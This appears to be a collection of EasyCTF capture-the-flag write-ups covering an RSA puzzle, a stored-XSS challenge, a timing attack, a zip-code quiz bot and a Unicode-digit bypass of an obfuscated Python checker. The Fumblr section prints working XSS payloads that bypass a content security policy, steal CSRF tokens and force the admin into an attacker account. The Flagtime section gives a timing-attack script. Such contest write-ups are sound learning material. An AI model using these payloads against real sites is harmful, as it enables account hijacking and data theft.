EASYCTF - Hidden Key

Ugh, another RSA problem? Help me decrypt this message please

In this RSA problems we were given n, e, c and 2d+phi, this is quite unusual. Here is a little remainder about RSA which was the key to break this challenge :

(2d+ϕ(n))⋅e ≡ 2(modϕ(n)) (2d+ϕ(n))⋅e−2 is a multiple of ϕ(n)

Since we have a multiple of ϕ(n) we can simplify it as ϕ(n) and then compute d with e and ϕ(n). With d it’s easy to decrypt the message.

#!/usr/bin/python
# -*- coding: utf-8 -*-
import gmpy2
from binascii import unhexlify

n=19990710965993909791193558953663863842716769444918482808910894555010666976748556807943571692638988159930173956944656563631741966254238894083044816619560716384399435457151325454058699456619177095082739114918161476095521966514549276456455115517585546091939841433970464864198559599506627551134733008368542674335406822985465670762736804248626405288459854078565454481711995430549718518246465196294098491520982031878812304780893142564431716580715290610805513492838815042887242751666146443085743188203774501774915953398942354972882252219853560961234640718803572197573296585708559809830903143884640474369446564530912297999521
e=65537
c=8025685155587827180749002332463831813455982477944159367184464001423830512599313738552168574362711918043974393498564044937232805190392231176714828625219488929799007862383671251782267431518386284895291720893481842879894034679412243426415287703098927504021006098497271548107186318346892921299400164587635569971533266853314645746958189806838848498965711804048690998169078994695592407758719375981296365133822297753540261208595663456324109356953019435140804032717009580539387311073394562413638372631954952133915031842285456227340035222247884804569872816819686780785351794877280774221497500401217616558942721963001462728375
nd=2
d2phi =28210947928664918152315905418138701975334591740280006730014083553026787097541343438660133536252948089770695463356325540443494323679593792180973845459460952065666206687674099912172862321206054790665154184389292800680080635290974630855115550204608340568825978834279756678368982149319772886983641561438165277302259422493412115453040278208881837632374967653081531078115068245925765496120513676555110320384751634593488268523936092446138555814256400738443018669468243127211526991525454393164042696191097755962617379270695590316170180293471814761703656591983750865989997806949387354748826846587397721824112207687726809868578

phi_multiple = d2phi*e -nd
d = gmpy2.invert(e, phi_multiple)
intmsg = pow((c), d, n)
message = "%2X" % intmsg
print ("Plain : %s" % unhexlify(message))

EASYCTF - Fumblr

Blog

Fumblr is a Tumblr like website where you can post some texts to the worldwide web.

  • register
  • login
  • write a post
  • send an url to the admin

First we can identify an XSS in the “writing section”, since we know there is an admin , we tried to get his cookies. Unfortunately CSP was correctly enabled and blocked every requests to an external website.

The website allows us to display a post as a raw like pastebin : https://pastebin.com/raw/xWpw2iKW. This feature became handy to bypass the CSP, since it was hosted on the same website (alert payload: http://c1.easyctf.com:12491/blog/toto/5a8aaf69c412df2a0001260b). Then you need to include the script file in the XSS area, a simple <script src=http://c1.easyctf.com:12491/blog/toto/5a8aaf69c412df2a0001260b></script> is enough.

The attack chain would be the following :

  • Signup
  • Create a post with an evil JS in the body and a JS comment in the title
  • Get the URL of the raw post e.g: http://c1.easyctf.com:12491/blog/toto/5a8aaf88c412df2a0001260f/raw
  • Create another post with a <script src=[URL OF THE RAW]></script>
  • Finally send the URL to the administrator

Any user (registered or not) could view the public post of everyone with http://c1.easyctf.com:12491/blog/[USERNAME]. By visiting the admin post, we get an information about the flag location : it’s in a hidden post. Because of the CSP we can’t exfiltrate the admin cookies, but we can force him to login to a specific account and write a post with the content of his index.html, this will leak the address of the post containing the flag.

My first payload didn’t worked as expected because the admin wasn’t allowed to write a post as someone else..

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://c1.easyctf.com:12491/blog/admin", true);

xhr.onreadystatechange = function() {
  // Extract flag id and csrf
  flag_id=/[a-f0-9]{24}/.exec(xhr.responseText);
  csrf = xhr.responseText.match('csrf" value="(.*)?"')[1]


  var form=new XMLHttpRequest();
  form.open("POST", "http://c1.easyctf.com:12491/create-post", false);
  form.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  form.send("title=FLAG&body="+flag_id+"&_csrf="+csrf );

};
xhr.send(null);

Then I tried to enumerate the users with a wordlist {user, toto, titi, password, root, toor, …} in order to see their public posts, and find the missing part of my payload.

var
oReq = new XMLHttpRequest();
oReq.addEventListener("load", function()
{
  var text = this.responseText;
  var loginReq = new XMLHttpRequest();
  loginReq.addEventListener("load", function()
  {
    var req2 = new XMLHttpRequest();
    req2.open("POST", "/create-post");
    req2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    req2.send("title=cat&_csrf=" + text.match(/csrf" value="(.*)"/)[1] + "&body=" + encodeURIComponent(text));
  });
  loginReq.open("POST", "/login");
  loginReq.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  loginReq.send("username=toto&password=toto&_csrf=" + text.match(/csrf" value="(.*)"/)[1]);
});
oReq.open("GET", "http://c1.easyctf.com:12491/blog/");
oReq.send();

And then we get the content of the admin blog, including the URL of the flag :D

<div class="well"><h2><a href="/blog/admin/1b43c182c434df2a43511561">Flag</a> <small>published 11 hours ago</small></h2>
http://c1.easyctf.com:12491/blog/admin/1b43c182c434df2a43511561

Visiting the page gave us the flag :easyctf{I_th0ght_CSP_m4d3_1t_s3cur3?}

NB : After a little bit of digging I also found the flag in a post of a user which is obviously not the correct way to finish the challenge :p

EASYCTF - Flagtime

This problem is so easy, it can be solved in a matter of seconds. Connect to c1.easyctf.com:12482.

This was a simple timing attack on the service c1.easyctf.com:12482. However extracting the 26 characters took a really long time… The first delay was 1 second and then was incremented by 1 for every correct characters, when you’re trying to get the last characters it took around 25 seconds a try :(

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time

flag      = "easyctf{ez_t1m1ng_4ttack!}"
max_time  = 27

while True:
    for c in "!?}_15scktemng4afbsydh5ij37lopqruvwx02689z-@{":
        p = remote("c1.easyctf.com", 12482)
        p.recv()

        before = time.time()
        p.sendline(flag+c)
        p.recv()
        p.close()

        after = time.time()
        if after-before > max_time:
            max_time = max_time+1
            print max_time
            flag = flag+c
            break

    print flag

EASYCTF - Zippity

description: I heard you liked zip codes! Connect via nc c1.easyctf.com 12483 to prove your zip code knowledge.

category: Miscellaneous

When we start the connection with the server (nc c1.easyctf.com 12483), it displays this message:

Welcome to Zippy! We love US zip codes, so we’ll be asking you some simple facts about them, based on the 2010 Census. Only the brightest zip-code fanatics among you will be able to succeed! You’ll have 30 seconds to answer 50 questions correctly

First thing to do: determine how many type of questions the program can ask. So after repeating the connection several times, I figured out every type of questions:

  • “What is the land area (m^2) of the zip code “ + zipcode + “?”
  • “What is the water area (m^2) of the zip code “ + zipcode + “?”
  • “What is the latitude (degrees) of the zip code “ + zipcode + “?”
  • “What is the longitude (degrees) of the zip code “ + zipcode + “?”

Now let’s try to get the database from 2010 Census because the program expects to receive those values. Somehow I ended up on this page: http://proximityone.com/cen2010_zcta_dp.htm. It contains all the data we need. After looking at the javascript of the page, I ran a JS command on the website to list the needed infos:

for(i = 0 ; i < 33120 ; i++){
	console.log(obj.getCellValue(0, i) + "/" + obj.getCellValue(1, i) + "/" + obj.getCellValue(2, i) + "/" + obj.getCellValue(7, i) + "/" + obj.getCellValue(8, i))
}

It will generate output like this :

#zipcode/LandArea/WaterArea/Latitude/Longitude 00601/166659789/799296/18.180556/-66.749961 00602/79288158/4446273/18.362268/-67.17613 …

Now we put this output on a file (zipcode.txt) and we will make the connection with the server using python and socket. To parse the question we will use regex:

import socket
import re

# Will send the response
def sendResponse(arg):
	zipcode = re.findall(regex, tmp)
	for i in content:
		test = i.split('/')
		if test[0] == zipcode[0]:
			response = test[arg].rstrip()
			break
	print response
	s.send(response + '\n')

regex = r"zip code (.*)\?"
response = ""
HOST = 'c1.easyctf.com'
PORT = 12483

# Lets load the file data before starting the connection
with open("zipcode.txt", "r") as f:
	content = f.readlines()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

tmp = "Starting . . ."

# Main loop, will we get an answer, we keep parsing it
while tmp:
	tmp = s.recv(1024)
	print tmp
	if "land area" in tmp:
		sendResponse(1)

	if "water area" in tmp:
		sendResponse(2)

	if "latitude" in tmp:
		sendResponse(3)

	if "longitude" in tmp:
		sendResponse(4)

We have the flag ! easyctf{hope_you_liked_parsing_tsvs!}

EASYCTF - Soupstitution Cipher

description: We had a flag, but lost it in a mess of alphabet soup! Can you help us find it? Connect to the server via nc c1.easyctf.com 12484.

hint: I love parsing characters!

category: Reverse Engineering

Okay, There is the source code in python:

#!/usr/bin/env python3

from binascii import unhexlify as sOup
from operator import attrgetter as souP

ME_FLAGE = '<censored>'

SoUp = input
soUP = hex
sOUp = print
sOuP = ord
SOuP = open

def SoUP(sOUP):
	soup = 0
	while sOUP != 0:
		soup = (soup * 10) + (sOUP % 10)
		sOUP //= 10
	return soup

def SOup(sOUP):
	soup = 0
	for soUp in sOUP:
		soup *= 10
		soup += sOuP(soUp) - sOuP('0')
	return soup

def SOUP():
	Soup = SoUp()[:7]
	print(Soup)
	if not souP('isdigit')(Soup)():
		sOUp("that's not a number lol")
		return

	soup = SoUP(SOup(Soup))
	SouP = souP('zfill')(soUP(soup)[2:])(8)[-8:]
	if sOup(SouP) == souP('encode')('s0up')():
		sOUp("oh yay it's a flag!", ME_FLAGE)
	else:
		sOUp('oh noes rip u')

if __name__ == '__main__':
	SOUP()

Okay let’s first deobfuscate this SoupCode:

from binascii import unhexlify, hexlify
from operator import attrgetter

ME_FLAGE = '<censored>'

def third(param):
	soup = 0
	while param != 0:
		soup = (soup * 10) + (param % 10)
		param //= 10
	return soup

def second(param):
	soup = 0
	for soUp in param:
		soup *= 10
		soup += ord(soUp) - ord('0')
	return soup

def principal(a):
	Soup = a[:7]
	if not attrgetter('isdigit')(Soup)():
		print("that's not a number lol")
		return

	soup = third(second(Soup))

	SouP = attrgetter('zfill')(hex(soup)[2:])(8)[-8:]

	if unhexlify(SouP) == attrgetter('encode')('s0up')():
		print("oh yay it's a flag!", ME_FLAGE)
		exit(0)
	else:
		pass

Alright so the principal method, will take the first 7 digits. Then the method second() will convert it to an int and the method third() will invert all digits (123 -> 321).

The goal is to enter in the if unhexlify(SouP) == attrgetter('encode')('s0up')():

We have:

attrgetter('encode')('s0up')() = 'S0up'

And we want:

unhexlify(SouP) = 's0up'

So, reversing it:

SouP = hexlify('s0up') = 73307570

Just before we have:

SouP = attrgetter('zfill')(hex(soup)[2:])(8)[-8:]

This is only a conversion to hexa, and we want it to be egal to 73307570:

0x73307570 = 1932555632

then soup = 1932555632

The program call second() and third() so all we have to do is to reverse this number:

soup = third(second(Soup))

We have Soup = 2365552391

The first line of the method limit our entry to 7 digits:

Soup = a[:7]

At this point you can try with the maximum ‘legit’ entry (9999999), u won’t be able to reach 2365552391…

Okay first I commented the code with the values we would like to get:

def principal(a):
	Soup = a[:7]	#impossible
	if not attrgetter('isdigit')(Soup)():
		#print("that's not a number lol")
		return
	#Soup = "2365552391" # this to win
	soup = third(second(Soup))
	print(soup)
	#soup = 1932555632 # this to win
	SouP = attrgetter('zfill')(hex(soup)[2:])(8)[-8:]
	#SouP = "73307570" # this to win
	if unhexlify(SouP) == attrgetter('encode')('s0up')():	   # we want SouP = 73307570
		print(Soup)
		print("oh yay it's a flag!", ME_FLAGE)
		exit(0)
	else:
		pass

As u can see in the hint, there is characters that are interpreted as digit. let try to list some of them:

def principal(a):
	Soup = a[:7]
	if not attrgetter('isdigit')(Soup)():
		return
	print(Soup, end=" ")

for i in range(2500):
	principal(chr(i))

The result is:

0 1 2 3 4 5 6 7 8 9 ² ³ ¹ ٠ ١ ٢ ٣ ٤ ٥ ٦ ٧ ٨ ٩ ۰ ۱ ۲ ۳ ۴ ۵ ۶ ۷ ۸ ۹ ߀ ߁ ߂ ߃ ߄ ߅ ߆ ߇ ߈ ߉ ० १ २ ३ ४ ५ ६ ७ ८ ९

Now let’s see what is the value for one os this entry:

def principal(a):
	Soup = a[:7]	#impossible
	if not attrgetter('isdigit')(Soup)():
		return
	soup = third(second(Soup))
	print(soup)
	#soup = 1932555632 # this to win

principal('߉')
# ->  5491

principal('߉111')
# -> 1115491

principal('߉789')
# -> 9875491

Alright, as we can see, all numbers added after the special char will be before it after the second() and third() methods. So we want something like (weird_char + 552391) in entry and that weird_char = 5632

Let’s brute force those values and see if the weird_char = 5632 exists:

def principal(a):
	Soup = a[:7]
	if not attrgetter('isdigit')(Soup)():
		return
	soup = third(second(Soup))
	if soup == 5632:
		print(a)
		exit(0)

for i in range(10000):
	principal(chr(i))

# -> ७

Nice ! the should make us win this challenge ! Lets try it directly on the server =)

nc c1.easyctf.com 12484

७552391

oh yay it’s a flag! easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp}

The flag is easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp} =)